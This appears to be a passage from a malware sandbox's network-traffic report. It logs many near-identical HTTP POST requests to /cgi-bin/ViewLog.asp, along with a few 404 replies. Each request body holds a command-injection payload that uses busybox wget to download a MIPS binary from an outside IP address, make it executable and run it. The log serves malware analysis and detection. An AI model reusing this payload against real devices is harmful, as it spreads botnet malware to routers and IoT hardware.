                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                650192.168.2.154238094.122.61.2508080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:39.891324043 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                651192.168.2.155577262.29.1.1918080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:39.928313017 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                652192.168.2.153410062.29.93.508080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:39.931608915 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                653192.168.2.154289495.86.104.808080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:39.934339046 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                654192.168.2.155222262.33.133.1978080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:39.973661900 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:40.280731916 CET405INHTTP/1.1 404 Not Found
                                                Server: nginx/1.0.15
                                                Date: Thu, 23 Nov 2023 04:22:40 GMT
                                                Content-Type: text/html; charset=utf-8
                                                Content-Length: 169
                                                Connection: keep-alive
                                                Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 30 2e 31 35 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                                Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.0.15</center></body></html>
                                                Nov 23, 2023 05:22:41.207490921 CET405INHTTP/1.1 404 Not Found
                                                Server: nginx/1.0.15
                                                Date: Thu, 23 Nov 2023 04:22:40 GMT
                                                Content-Type: text/html; charset=utf-8
                                                Content-Length: 169
                                                Connection: keep-alive
                                                Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 30 2e 31 35 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                                Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.0.15</center></body></html>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                655192.168.2.153761085.203.52.968080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:40.039268017 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:40.221081972 CET199INHTTP/1.1 404 Not Found
                                                Connection: keep-alive
                                                Server: Cowboy
                                                Date: Thu, 23 Nov 2023 04:22:39 GMT
                                                Content-Length: 10
                                                Data Raw: 4e 6f 74 20 66 6f 75 6e 64 0a
                                                Data Ascii: Not found


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                656192.168.2.154087831.136.190.1698080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:40.041613102 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:40.600730896 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:41.720601082 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:44.152546883 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:48.760535955 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:57.720191956 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:15.895661116 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                657192.168.2.154287262.32.82.388080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:40.093610048 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                658192.168.2.156098294.120.61.1088080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:40.110923052 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                659192.168.2.155849262.29.81.938080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:40.475836039 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                660192.168.2.153876031.136.119.1738080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:40.662782907 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:41.240612030 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:42.392565966 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:44.664546013 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:49.272495985 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:58.488132000 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                661192.168.2.153509294.187.116.1608080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:40.694196939 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


